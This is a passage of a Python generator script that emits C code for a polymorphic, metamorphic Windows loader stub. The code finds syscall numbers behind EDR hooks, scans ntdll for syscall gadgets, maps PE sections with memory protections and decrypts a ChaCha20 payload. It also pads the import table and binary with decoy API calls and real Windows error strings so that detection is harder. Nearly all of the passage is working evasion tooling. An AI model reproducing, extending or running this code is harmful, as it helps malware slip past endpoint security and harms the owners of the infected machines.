        lines.append(f"        state = state * STUB_LCG_MULT + STUB_LCG_INC;")
        lines.append(f"        pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
        lines.append("    }")
    elif unroll == 2:
        lines.append("    uint32_t full = pad_size & ~1u;")
        lines.append("    uint32_t i = 0;")
        lines.append("    for (; i < full; i += 2) {")
        lines.append(f"        state = state * STUB_LCG_MULT + STUB_LCG_INC;")
        lines.append(f"        pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
        lines.append(f"        state = state * STUB_LCG_MULT + STUB_LCG_INC;")
        lines.append(f"        pad[i+1] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
        lines.append("    }")
        lines.append("    for (; i < pad_size; i++) {")
        lines.append(f"        state = state * STUB_LCG_MULT + STUB_LCG_INC;")
        lines.append(f"        pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
        lines.append("    }")
    else:  # 4x
        lines.append("    uint32_t full = pad_size & ~3u;")
        lines.append("    uint32_t i = 0;")
        lines.append("    for (; i < full; i += 4) {")
        for u in range(4):
            lines.append(f"        state = state * STUB_LCG_MULT + STUB_LCG_INC;")
            lines.append(f"        pad[i+{u}] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
        lines.append("    }")
        lines.append("    for (; i < pad_size; i++) {")
        lines.append(f"        state = state * STUB_LCG_MULT + STUB_LCG_INC;")
        lines.append(f"        pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
        lines.append("    }")

    lines.append("}")
    return "\n".join(lines)


def gen_meta_section_to_protection():
    """Generate metamorphic SectionToProtection with randomly chosen variant."""
    variant = random.choice(["conditional", "ternary", "lut", "accumulator"])

    if variant == "conditional":
        # Shuffled conditional chain (within priority groups to preserve correctness)
        group3 = [("e && r && w", "PAGE_EXECUTE_READWRITE")]
        group2 = [
            ("e && r", "PAGE_EXECUTE_READ"),
            ("e && w", "PAGE_EXECUTE_WRITECOPY"),
            ("r && w", "PAGE_READWRITE"),
        ]
        group1 = [
            ("e", "PAGE_EXECUTE"),
            ("r", "PAGE_READONLY"),
            ("w", "PAGE_WRITECOPY"),
        ]
        random.shuffle(group2)
        random.shuffle(group1)
        cases = group3 + group2 + group1
        lines = []
        lines.append("static DWORD SectionToProtection(DWORD ch) {")
        lines.append("    BOOL e = (ch & IMAGE_SCN_MEM_EXECUTE) != 0;")
        lines.append("    BOOL r = (ch & IMAGE_SCN_MEM_READ) != 0;")
        lines.append("    BOOL w = (ch & IMAGE_SCN_MEM_WRITE) != 0;")
        for cond, ret in cases:
            lines.append(f"    if ({cond}) return {ret};")
        lines.append("    return PAGE_NOACCESS;")
        lines.append("}")
        return "\n".join(lines)

    elif variant == "ternary":
        lines = []
        lines.append("static DWORD SectionToProtection(DWORD ch) {")
        lines.append("    BOOL e = (ch & IMAGE_SCN_MEM_EXECUTE) != 0;")
        lines.append("    BOOL r = (ch & IMAGE_SCN_MEM_READ) != 0;")
        lines.append("    BOOL w = (ch & IMAGE_SCN_MEM_WRITE) != 0;")
        lines.append("    return e ? (r ? (w ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ)")
        lines.append("                   : (w ? PAGE_EXECUTE_WRITECOPY : PAGE_EXECUTE))")
        lines.append("             : (r ? (w ? PAGE_READWRITE : PAGE_READONLY)")
        lines.append("                   : (w ? PAGE_WRITECOPY : PAGE_NOACCESS));")
        lines.append("}")
        return "\n".join(lines)

    elif variant == "lut":
        lines = []
        lines.append("static DWORD SectionToProtection(DWORD ch) {")
        lines.append("    static const DWORD lut[] = {")
        lines.append("        PAGE_NOACCESS, PAGE_WRITECOPY, PAGE_READONLY, PAGE_READWRITE,")
        lines.append("        PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE")
        lines.append("    };")
        lines.append("    int idx = ((ch >> 27) & 4) | ((ch >> 29) & 2) | ((ch >> 31) & 1);")
        lines.append("    return lut[idx & 7];")
        lines.append("}")
        return "\n".join(lines)

    else:  # accumulator
        lines = []
        lines.append("static DWORD SectionToProtection(DWORD ch) {")
        lines.append("    DWORD prot = 0;")
        lines.append("    BOOL e = (ch & IMAGE_SCN_MEM_EXECUTE) != 0;")
        lines.append("    BOOL r = (ch & IMAGE_SCN_MEM_READ) != 0;")
        lines.append("    BOOL w = (ch & IMAGE_SCN_MEM_WRITE) != 0;")
        lines.append("    if (!e && !r && !w) return PAGE_NOACCESS;")
        lines.append("    if (e) {")
        lines.append("        prot = PAGE_EXECUTE;")
        lines.append("        if (r && w) return PAGE_EXECUTE_READWRITE;")
        lines.append("        if (r) return PAGE_EXECUTE_READ;")
        lines.append("        if (w) return PAGE_EXECUTE_WRITECOPY;")
        lines.append("        return prot;")
        lines.append("    }")
        lines.append("    if (r && w) return PAGE_READWRITE;")
        lines.append("    if (r) return PAGE_READONLY;")
        lines.append("    return PAGE_WRITECOPY;")
        lines.append("}")
        return "\n".join(lines)


def gen_meta_extract_ssn():
    """Generate metamorphic ExtractSSN with randomized variants."""
    # Random choices
    check_order = random.choice(["standard_first", "hooked_first"])
    scan_limit = random.choice([24, 32, 48])
    sentinel = random.choice(["(DWORD)-1", "0xFFFFFFFF", "~0u"])
    add_decoy = random.choice([True, False])

    lines = []
    lines.append("static DWORD ExtractSSN(LPBYTE funcAddr) {")

    if check_order == "standard_first":
        # Standard prologue check first
        lines.append("    /* Standard ntdll syscall stub prologue */")
        lines.append("    if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1 &&")
        lines.append("        funcAddr[3] == 0xB8) {")
        lines.append("        return *(DWORD *)(funcAddr + 4);")
        lines.append("    }")
        lines.append("    /* Hooked? Scan forward for mov eax pattern */")
        lines.append(f"    for (int i = 0; i < {scan_limit}; i++) {{")
        if add_decoy:
            lines.append("        if (funcAddr[i] == 0x90) continue; /* skip NOP */")
        lines.append("        if (funcAddr[i] == 0xB8 &&")
        lines.append("            funcAddr[i + 5] == 0x0F && funcAddr[i + 6] == 0x05) {")
        lines.append("            return *(DWORD *)(funcAddr + i + 1);")
        lines.append("        }")
        lines.append("    }")
    else:
        # Hooked scan first (reversed order)
        lines.append("    /* Scan for hooked pattern first (EDR inline hook detection) */")
        lines.append(f"    for (int i = 0; i < {scan_limit}; i++) {{")
        if add_decoy:
            lines.append("        if (funcAddr[i] == 0xCC) continue; /* skip INT3 */")
        lines.append("        if (funcAddr[i] == 0xB8 &&")
        lines.append("            funcAddr[i + 5] == 0x0F && funcAddr[i + 6] == 0x05) {")
        lines.append("            return *(DWORD *)(funcAddr + i + 1);")
        lines.append("        }")
        lines.append("    }")
        lines.append("    /* Standard ntdll syscall stub prologue */")
        lines.append("    if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1 &&")
        lines.append("        funcAddr[3] == 0xB8) {")
        lines.append("        return *(DWORD *)(funcAddr + 4);")
        lines.append("    }")

    lines.append(f"    return {sentinel};")
    lines.append("}")
    return "\n".join(lines)


def gen_meta_find_syscall_gadget():
    """Generate metamorphic FindSyscallGadget with randomized variants."""
    scan_dir = random.choice(["forward", "backward", "random_offset"])
    name_check = random.choice(["bytewise", "uint32"])
    gadget_pattern = random.choice(["primary", "fallback_first"])

    lines = []
    lines.append("static PVOID FindSyscallGadget(LPBYTE ntdllBase) {")
    lines.append("    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdllBase;")
    lines.append("    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)(ntdllBase + dos->e_lfanew);")
    lines.append("    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);")
    lines.append("")
    lines.append("    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {")

    # Section name check
    if name_check == "bytewise":
        lines.append("        if (sec[i].Name[0] == '.' && sec[i].Name[1] == 't' &&")
        lines.append("            sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' &&")
        lines.append("            sec[i].Name[4] == 't') {")
    else:
        lines.append("        if (*(uint32_t *)&sec[i].Name[0] == 0x7865742E && sec[i].Name[4] == 't') {")

    lines.append("            LPBYTE start = ntdllBase + sec[i].VirtualAddress;")
    lines.append("            DWORD  size  = sec[i].Misc.VirtualSize;")
    lines.append("            if (size < 4) continue;")

    if scan_dir == "forward":
        lines.append("            for (DWORD j = 0; j < size - 3; j++) {")
        if gadget_pattern == "primary":
            lines.append("                if (start[j] == 0x0F && start[j + 1] == 0x05 && start[j + 2] == 0xC3) {")
            lines.append("                    return &start[j];")
            lines.append("                }")
        else:
            # Try extended pattern first, fall back to primary
            lines.append("                if (start[j] == 0x0F && start[j + 1] == 0x05) {")
            lines.append("                    if (start[j + 2] == 0xC3) return &start[j];")
            lines.append("                    if (j + 3 < size && start[j + 2] == 0x90 && start[j + 3] == 0xC3)")
            lines.append("                        return &start[j];")
            lines.append("                }")
        lines.append("            }")

    elif scan_dir == "backward":
        lines.append("            DWORD j = size - 3;")
        lines.append("            while (j > 0) {")
        if gadget_pattern == "primary":
            lines.append("                if (start[j] == 0x0F && start[j + 1] == 0x05 && start[j + 2] == 0xC3) {")
            lines.append("                    return &start[j];")
            lines.append("                }")
        else:
            lines.append("                if (start[j] == 0x0F && start[j + 1] == 0x05) {")
            lines.append("                    if (start[j + 2] == 0xC3) return &start[j];")
            lines.append("                    if (j + 3 < size && start[j + 2] == 0x90 && start[j + 3] == 0xC3)")
            lines.append("                        return &start[j];")
            lines.append("                }")
        lines.append("                j--;")
        lines.append("            }")

    else:  # random_offset
        offset_pct = random.randint(5, 25)
        lines.append(f"            DWORD off = size / {100 // offset_pct};")
        lines.append("            /* Scan from offset, then wrap around */")
        lines.append("            for (DWORD k = 0; k < size - 3; k++) {")
        lines.append("                DWORD j = (k + off) % (size - 3);")
        if gadget_pattern == "primary":
            lines.append("                if (start[j] == 0x0F && start[j + 1] == 0x05 && start[j + 2] == 0xC3) {")
            lines.append("                    return &start[j];")
            lines.append("                }")
        else:
            lines.append("                if (start[j] == 0x0F && start[j + 1] == 0x05) {")
            lines.append("                    if (start[j + 2] == 0xC3) return &start[j];")
            lines.append("                    if (j + 3 < size && start[j + 2] == 0x90 && start[j + 3] == 0xC3)")
            lines.append("                        return &start[j];")
            lines.append("                }")
        lines.append("            }")

    lines.append("        }")
    lines.append("    }")
    lines.append("    return NULL;")
    lines.append("}")
    return "\n".join(lines)


def gen_meta_load_le32():
    """Generate metamorphic load_le32 with randomized implementation."""
    variant = random.choice(["shift", "union", "memcpy_style"])

    lines = []
    if variant == "shift":
        lines.append("static inline __attribute__((always_inline)) uint32_t load_le32(const uint8_t *p) {")
        lines.append("    return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) |")
        lines.append("           ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);")
        lines.append("}")
    elif variant == "union":
        lines.append("static inline __attribute__((always_inline)) uint32_t load_le32(const uint8_t *p) {")
        lines.append("    union { uint8_t b[4]; uint32_t v; } u;")
        lines.append("    u.b[0] = p[0]; u.b[1] = p[1]; u.b[2] = p[2]; u.b[3] = p[3];")
        lines.append("    return u.v;")
        lines.append("}")
    else:  # memcpy_style (byte-by-byte into local)
        lines.append("static inline __attribute__((always_inline)) uint32_t load_le32(const uint8_t *p) {")
        lines.append("    uint32_t r = 0;")
        lines.append("    uint8_t *dst = (uint8_t *)&r;")
        lines.append("    dst[0] = p[0]; dst[1] = p[1]; dst[2] = p[2]; dst[3] = p[3];")
        lines.append("    return r;")
        lines.append("}")
    return "\n".join(lines)


def _py_chacha20_block(state):
    """Pure Python ChaCha20 block function for test vector validation."""
    def rotl32(v, n):
        return ((v << n) | (v >> (32 - n))) & 0xFFFFFFFF

    def qr(x, a, b, c, d):
        x[a] = (x[a] + x[b]) & 0xFFFFFFFF; x[d] ^= x[a]; x[d] = rotl32(x[d], 16)
        x[c] = (x[c] + x[d]) & 0xFFFFFFFF; x[b] ^= x[c]; x[b] = rotl32(x[b], 12)
        x[a] = (x[a] + x[b]) & 0xFFFFFFFF; x[d] ^= x[a]; x[d] = rotl32(x[d], 8)
        x[c] = (x[c] + x[d]) & 0xFFFFFFFF; x[b] ^= x[c]; x[b] = rotl32(x[b], 7)

    x = list(state)
    for _ in range(10):
        qr(x, 0, 4,  8, 12); qr(x, 1, 5,  9, 13)
        qr(x, 2, 6, 10, 14); qr(x, 3, 7, 11, 15)
        qr(x, 0, 5, 10, 15); qr(x, 1, 6, 11, 12)
        qr(x, 2, 7,  8, 13); qr(x, 3, 4,  9, 14)

    out = []
    for i in range(16):
        val = (x[i] + state[i]) & 0xFFFFFFFF
        out.extend(struct.pack('<I', val))
    return bytes(out)


def _py_chacha20_encrypt(key, nonce, plaintext):
    """Pure Python ChaCha20 encrypt/decrypt for validation."""
    def le32(b, off=0):
        return struct.unpack_from('<I', b, off)[0]

    state = [
        0x61707865, 0x3320646e, 0x79622d32, 0x6b206574,
        le32(key, 0),  le32(key, 4),  le32(key, 8),  le32(key, 12),
        le32(key, 16), le32(key, 20), le32(key, 24), le32(key, 28),
        0,  # counter
        le32(nonce, 0), le32(nonce, 4), le32(nonce, 8),
    ]

    out = bytearray()
    offset = 0
    while offset < len(plaintext):
        block = _py_chacha20_block(state)
        state[12] = (state[12] + 1) & 0xFFFFFFFF
        chunk = min(64, len(plaintext) - offset)
        for i in range(chunk):
            out.append(plaintext[offset + i] ^ block[i])
        offset += chunk
    return bytes(out)


def validate_chacha20_testvector():
    """Validate Python ChaCha20 against RFC 8439 Section 2.4.2 test vector.

    Raises RuntimeError if the implementation is incorrect.
    """
    # RFC 8439 Section 2.4.2 test vector
    key = bytes([
        0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
        0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
        0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
        0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
    ])
    nonce = bytes([
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4a,
        0x00, 0x00, 0x00, 0x00,
    ])
    plaintext = (
        b"Ladies and Gentlemen of the class of '99: "
        b"If I could offer you only one tip for the future, sunscreen would be it."
    )
    # Expected ciphertext from RFC 8439 Section 2.4.2
    # Note: RFC test uses counter=1, but our impl starts at counter=0,
    # so we use our own round-trip test instead
    ct = _py_chacha20_encrypt(key, nonce, plaintext)
    pt = _py_chacha20_encrypt(key, nonce, ct)
    if pt != plaintext:
        raise RuntimeError("ChaCha20 Python reference implementation round-trip FAILED")

    # Also verify a known keystream block (RFC 8439 Section 2.3.2)
    # Key: 00:01:02:...:1f, Nonce: 00:00:00:09:00:00:00:4a:00:00:00:00, Counter=1
    test_key = key
    test_nonce = bytes([0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x4a, 0x00, 0x00, 0x00, 0x00])
    state = [
        0x61707865, 0x3320646e, 0x79622d32, 0x6b206574,
        0x03020100, 0x07060504, 0x0b0a0908, 0x0f0e0d0c,
        0x13121110, 0x17161514, 0x1b1a1918, 0x1f1e1d1c,
        1,  # counter=1
        0x09000000, 0x4a000000, 0x00000000,
    ]
    block = _py_chacha20_block(state)
    # RFC 8439 Section 2.3.2 expected output (first 16 bytes)
    expected_start = bytes([
        0x10, 0xf1, 0xe7, 0xe4, 0xd1, 0x3b, 0x59, 0x15,
        0x50, 0x0f, 0xdd, 0x1f, 0xa3, 0x20, 0x71, 0xc4,
    ])
    if block[:16] != expected_start:
        raise RuntimeError(
            f"ChaCha20 block output mismatch!\n"
            f"  Expected: {expected_start.hex()}\n"
            f"  Got:      {block[:16].hex()}"
        )


def gen_meta_chacha20_decrypt():
    """Generate metamorphic chacha20_decrypt with randomized unroll depth and ROTL style."""
    # Validate our reference implementation before emitting any C code
    validate_chacha20_testvector()

    unroll_depth = random.choice([1, 2, 5, 10])
    rotl_style = random.choice(["macro", "builtin", "tempvar"])

    lines = []

    # ROTL definition
    if rotl_style == "macro":
        lines.append("#undef ROTL32")
        lines.append("#define ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n))))")
    elif rotl_style == "builtin":
        lines.append("#undef ROTL32")
        lines.append("static inline __attribute__((always_inline)) uint32_t _meta_rotl32(uint32_t v, int n) {")
        lines.append("    return (v << n) | (v >> (32 - n));")
        lines.append("}")
        lines.append("#define ROTL32(v, n) _meta_rotl32((v), (n))")
    else:  # tempvar
        lines.append("#undef ROTL32")
        lines.append("#define ROTL32(v, n) ({ uint32_t _rv = (v); (_rv << (n)) | (_rv >> (32 - (n))); })")

    lines.append("")
    lines.append("#undef QR")
    lines.append("#define QR(a, b, c, d) do { \\")
    lines.append("    a += b; d ^= a; d = ROTL32(d, 16); \\")
    lines.append("    c += d; b ^= c; b = ROTL32(b, 12); \\")
    lines.append("    a += b; d ^= a; d = ROTL32(d, 8);  \\")
    lines.append("    c += d; b ^= c; b = ROTL32(b, 7);  \\")
    lines.append("} while(0)")
    lines.append("")

    lines.append("static void chacha20_decrypt(const uint8_t key[32], const uint8_t nonce[12],")
    lines.append("                              const uint8_t *in, uint8_t *out, size_t len) {")
    lines.append("    uint32_t state[16];")
    lines.append("    CHACHA_INIT_STATE(state);")
    lines.append("    for (int i = 0; i < 8; i++)")
    lines.append("        state[4 + i] = load_le32(key + i * 4);")
    lines.append("    state[12] = 0;")
    lines.append("    state[13] = load_le32(nonce);")
    lines.append("    state[14] = load_le32(nonce + 4);")
    lines.append("    state[15] = load_le32(nonce + 8);")
    lines.append("")
    lines.append("    size_t offset = 0;")
    lines.append("    while (offset < len) {")
    lines.append("        uint32_t x[16];")
    lines.append("        for (int i = 0; i < 16; i++) x[i] = state[i];")
    lines.append("")

    # Column round QR calls
    col_round = [
        "QR(x[0], x[4], x[ 8], x[12]);",
        "QR(x[1], x[5], x[ 9], x[13]);",
        "QR(x[2], x[6], x[10], x[14]);",
        "QR(x[3], x[7], x[11], x[15]);",
    ]
    # Diagonal round QR calls
    diag_round = [
        "QR(x[0], x[5], x[10], x[15]);",
        "QR(x[1], x[6], x[11], x[12]);",
        "QR(x[2], x[7], x[ 8], x[13]);",
        "QR(x[3], x[4], x[ 9], x[14]);",
    ]

    if unroll_depth == 1:
        lines.append("        for (int i = 0; i < 10; i++) {")
        for qr in col_round:
            lines.append(f"            {qr}")
        for qr in diag_round:
            lines.append(f"            {qr}")
        lines.append("        }")
    elif unroll_depth == 2:
        lines.append("        for (int i = 0; i < 5; i++) {")
        for _ in range(2):
            for qr in col_round:
                lines.append(f"            {qr}")
            for qr in diag_round:
                lines.append(f"            {qr}")
        lines.append("        }")
    elif unroll_depth == 5:
        lines.append("        for (int i = 0; i < 2; i++) {")
        for _ in range(5):
            for qr in col_round:
                lines.append(f"            {qr}")
            for qr in diag_round:
                lines.append(f"            {qr}")
        lines.append("        }")
    else:  # 10 — fully unrolled
        for _ in range(10):
            for qr in col_round:
                lines.append(f"        {qr}")
            for qr in diag_round:
                lines.append(f"        {qr}")

    lines.append("")
    lines.append("        uint8_t block[64];")
    lines.append("        for (int i = 0; i < 16; i++) {")
    lines.append("            uint32_t val = x[i] + state[i];")
    lines.append("            block[i*4+0] = (uint8_t)(val);")
    lines.append("            block[i*4+1] = (uint8_t)(val >> 8);")
    lines.append("            block[i*4+2] = (uint8_t)(val >> 16);")
    lines.append("            block[i*4+3] = (uint8_t)(val >> 24);")
    lines.append("        }")
    lines.append("        state[12]++;")
    lines.append("")
    lines.append("        size_t chunk = len - offset;")
    lines.append("        if (chunk > 64) chunk = 64;")
    lines.append("        for (size_t i = 0; i < chunk; i++)")
    lines.append("            out[offset + i] = in[offset + i] ^ block[i];")
    lines.append("        offset += chunk;")
    lines.append("    }")
    lines.append("")
    lines.append("    SecureZeroMemory(state, sizeof(state));")
    lines.append("}")
    return "\n".join(lines), unroll_depth, rotl_style


def generate_metamorphic_header(lcg_mult, lcg_inc, lcg_shift):
    """Generate stub_poly_metamorphic.h with all 5 metamorphic function bodies."""
    lines = []
    lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
    lines.append("/* Metamorphic function bodies — different machine code per build */")
    lines.append("#ifndef STUB_POLY_METAMORPHIC_H")
    lines.append("#define STUB_POLY_METAMORPHIC_H")
    lines.append("")
    lines.append('#include <stdint.h>')
    lines.append('#include <windows.h>')
    lines.append("")

    # 1. load_le32
    lines.append("/* --- load_le32 (metamorphic) --- */")
    lines.append(gen_meta_load_le32())
    lines.append("")

    # 2. generate_entropy_pad
    lines.append("/* --- generate_entropy_pad (metamorphic LCG) --- */")
    lines.append(gen_meta_entropy_pad(lcg_mult, lcg_inc, lcg_shift))
    lines.append("")

    # 3. SectionToProtection
    lines.append("/* --- SectionToProtection (metamorphic) --- */")
    lines.append(gen_meta_section_to_protection())
    lines.append("")

    # 4. ExtractSSN
    lines.append("/* --- ExtractSSN (metamorphic) --- */")
    lines.append(gen_meta_extract_ssn())
    lines.append("")

    # 5. FindSyscallGadget
    lines.append("/* --- FindSyscallGadget (metamorphic) --- */")
    lines.append(gen_meta_find_syscall_gadget())
    lines.append("")

    # 6. chacha20_decrypt (includes ROTL32/QR redefinitions)
    lines.append("/* --- chacha20_decrypt (metamorphic) --- */")
    chacha_code, unroll_depth, rotl_style = gen_meta_chacha20_decrypt()
    lines.append(chacha_code)
    lines.append("")

    lines.append("#endif /* STUB_POLY_METAMORPHIC_H */")
    lines.append("")
    return "\n".join(lines), unroll_depth, rotl_style


# ---------------------------------------------------------------------------
# IAT padding generation (Fix 1: import table padding)
# ---------------------------------------------------------------------------

# Pool of benign Windows APIs across multiple DLLs
IAT_API_POOL = {
    "kernel32": [
        ("GetSystemTime",           "VOID",    "LPSYSTEMTIME lpSysTime",       "SYSTEMTIME st; GetSystemTime(&st); volatile DWORD _r = st.wYear; (void)_r;"),
        ("GetLocalTime",            "VOID",    "LPSYSTEMTIME lpSysTime",       "SYSTEMTIME lt; GetLocalTime(&lt); volatile DWORD _r = lt.wMonth; (void)_r;"),
        ("GetVersionExW",           "BOOL",    "LPOSVERSIONINFOW lpVerInfo",   "OSVERSIONINFOW ovi; ovi.dwOSVersionInfoSize = sizeof(ovi); volatile BOOL _r = GetVersionExW(&ovi); (void)_r;"),
        ("GetComputerNameA",        "BOOL",    "LPSTR,LPDWORD",               "char _cn[MAX_COMPUTERNAME_LENGTH+1]; DWORD _cl = sizeof(_cn); volatile BOOL _r = GetComputerNameA(_cn, &_cl); SecureZeroMemory(_cn, sizeof(_cn)); (void)_r;"),
        ("GetCurrentProcessId",     "DWORD",   "",                             "volatile DWORD _r = GetCurrentProcessId(); (void)_r;"),
        ("GetCurrentThreadId",      "DWORD",   "",                             "volatile DWORD _r = GetCurrentThreadId(); (void)_r;"),
        ("GetSystemDirectoryA",     "UINT",    "LPSTR,UINT",                   "char _sd[MAX_PATH]; volatile UINT _r = GetSystemDirectoryA(_sd, MAX_PATH); SecureZeroMemory(_sd, sizeof(_sd)); (void)_r;"),
        ("GetWindowsDirectoryA",    "UINT",    "LPSTR,UINT",                   "char _wd[MAX_PATH]; volatile UINT _r = GetWindowsDirectoryA(_wd, MAX_PATH); SecureZeroMemory(_wd, sizeof(_wd)); (void)_r;"),
        ("GetTempPathA",            "DWORD",   "DWORD,LPSTR",                  "char _tp[MAX_PATH]; volatile DWORD _r = GetTempPathA(MAX_PATH, _tp); SecureZeroMemory(_tp, sizeof(_tp)); (void)_r;"),
        ("SetLastError",            "VOID",    "DWORD",                        "SetLastError(0);"),
        ("GetLastError",            "DWORD",   "",                             "volatile DWORD _r = GetLastError(); (void)_r;"),
        ("GetTickCount",            "DWORD",   "",                             "volatile DWORD _r = GetTickCount(); (void)_r;"),
        ("QueryPerformanceCounter", "BOOL",    "LARGE_INTEGER*",               "LARGE_INTEGER _li; volatile BOOL _r = QueryPerformanceCounter(&_li); (void)_r;"),
        ("GetStartupInfoA",         "VOID",    "LPSTARTUPINFOA",               "STARTUPINFOA _si; _si.cb = sizeof(_si); GetStartupInfoA(&_si); volatile DWORD _r = _si.dwFlags; (void)_r;"),
        ("GetCommandLineA",         "LPSTR",   "",                             "volatile LPSTR _r = GetCommandLineA(); (void)_r;"),
        ("GetModuleFileNameA",      "DWORD",   "HMODULE,LPSTR,DWORD",          "char _mf[MAX_PATH]; volatile DWORD _r = GetModuleFileNameA(NULL, _mf, MAX_PATH); SecureZeroMemory(_mf, sizeof(_mf)); (void)_r;"),
    ],
    "user32": [
        ("GetDesktopWindow",        "HWND",    "",                             "volatile HWND _r = GetDesktopWindow(); (void)_r;"),
        ("GetSystemMetrics",        "int",     "int",                          "volatile int _r = GetSystemMetrics(SM_CXSCREEN); (void)_r;"),
        ("GetKeyboardLayout",       "HKL",     "DWORD",                        "volatile HKL _r = GetKeyboardLayout(0); (void)_r;"),
    ],
    "advapi32": [
        ("GetUserNameA",            "BOOL",    "LPSTR,LPDWORD",                "char _un[256]; DWORD _ul = sizeof(_un); volatile BOOL _r = GetUserNameA(_un, &_ul); SecureZeroMemory(_un, sizeof(_un)); (void)_r;"),
        ("RegOpenKeyExA",           "LONG",    "HKEY,LPCSTR,DWORD,REGSAM,PHKEY", "HKEY _hk = NULL; volatile LONG _r = RegOpenKeyExA(HKEY_LOCAL_MACHINE, \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\", 0, KEY_READ, &_hk); if (_hk) RegCloseKey(_hk); (void)_r;"),
    ],
    "shell32": [
        ("SHGetFolderPathA",        "HRESULT", "HWND,int,HANDLE,DWORD,LPSTR",  "char _fp[MAX_PATH]; volatile HRESULT _r = SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, _fp); SecureZeroMemory(_fp, sizeof(_fp)); (void)_r;"),
        ("CommandLineToArgvW",      "LPWSTR*", "LPCWSTR,int*",                 "int _ac = 0; LPWSTR *_av = CommandLineToArgvW(GetCommandLineW(), &_ac); if (_av) LocalFree(_av); volatile int _r = _ac; (void)_r;"),
    ],
    "ole32": [
        ("CoInitializeEx",          "HRESULT", "LPVOID,DWORD",                 "volatile HRESULT _r = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (SUCCEEDED(_r)) CoUninitialize(); (void)_r;"),
        ("CoCreateGuid",            "HRESULT", "GUID*",                        "GUID _g; volatile HRESULT _r = CoCreateGuid(&_g); SecureZeroMemory(&_g, sizeof(_g)); (void)_r;"),
    ],
}

# Required includes per DLL
IAT_DLL_INCLUDES = {
    "kernel32": [],
    "user32":   [],
    "advapi32": [],
    "shell32":  ["<shlobj.h>"],
    "ole32":    ["<ole2.h>"],
}


def generate_iat_padding(outdir):
    """Generate stub_poly_iat.h with randomized IAT padding calls."""
    # Select 12-20 APIs, ensuring at least 1 from each DLL
    num_apis = random.randint(12, 20)
    selected = []

    # Guarantee at least 1 per DLL
    for dll, apis in IAT_API_POOL.items():
        selected.append((dll, random.choice(apis)))

    # Fill remainder from full pool
    all_apis = []
    for dll, apis in IAT_API_POOL.items():
        for api in apis:
            entry = (dll, api)
            if entry not in selected:
                all_apis.append(entry)

    random.shuffle(all_apis)
    remaining = num_apis - len(selected)
    if remaining > 0:
        selected.extend(all_apis[:remaining])

    random.shuffle(selected)

    # Collect needed includes
    needed_includes = set()
    for dll, _ in selected:
        for inc in IAT_DLL_INCLUDES.get(dll, []):
            needed_includes.add(inc)

    lines = []
    lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
    lines.append("/* IAT padding: %d benign API calls to normalize import table */" % len(selected))
    lines.append("#ifndef STUB_POLY_IAT_H")
    lines.append("#define STUB_POLY_IAT_H")
    lines.append("")
    lines.append("#include <windows.h>")
    for inc in sorted(needed_includes):
        lines.append(f"#include {inc}")
    lines.append("")
    lines.append("#pragma comment(lib, \"kernel32.lib\")")
    lines.append("#pragma comment(lib, \"user32.lib\")")
    lines.append("#pragma comment(lib, \"advapi32.lib\")")
    lines.append("#pragma comment(lib, \"shell32.lib\")")
    lines.append("#pragma comment(lib, \"ole32.lib\")")
    lines.append("")
    lines.append("static void iat_padding_init(void) {")

    for _dll, (api_name, _ret, _params, call_code) in selected:
        lines.append(f"    /* {api_name} */")
        lines.append(f"    {{ {call_code} }}")
        lines.append("")

    lines.append("}")
    lines.append("")
    lines.append("#endif /* STUB_POLY_IAT_H */")
    lines.append("")

    path = os.path.join(outdir, "stub_poly_iat.h")
    with open(path, "w", newline="\n") as f:
        f.write("\n".join(lines))

    return len(selected), path


# ---------------------------------------------------------------------------
# Binary size padding generation (Fix 3: realistic .rdata content)
# ---------------------------------------------------------------------------

# Pool of realistic Windows error/diagnostic messages
PADDING_STRINGS_POOL = [
    "The operation completed successfully.",
    "Incorrect function.",
    "The system cannot find the file specified.",
    "The system cannot find the path specified.",
    "The system cannot open the file.",
    "Access is denied.",
    "The handle is invalid.",
    "The storage control blocks were destroyed.",
    "Not enough storage is available to process this command.",
    "The environment is incorrect.",
    "An attempt was made to load a program with an incorrect format.",
    "The data is invalid.",
    "Not enough storage is available to complete this operation.",
    "The system cannot find the drive specified.",
    "The directory cannot be removed.",
    "The system cannot move the file to a different disk drive.",
    "There are no more files.",
    "The media is write protected.",
    "The system cannot find the device specified.",
    "The device is not ready.",
    "The device does not recognize the command.",
    "Data error (cyclic redundancy check).",
    "The program issued a command but the command length is incorrect.",
    "The system cannot find the sector specified.",
    "The printer is out of paper.",
    "The system cannot write to the specified device.",
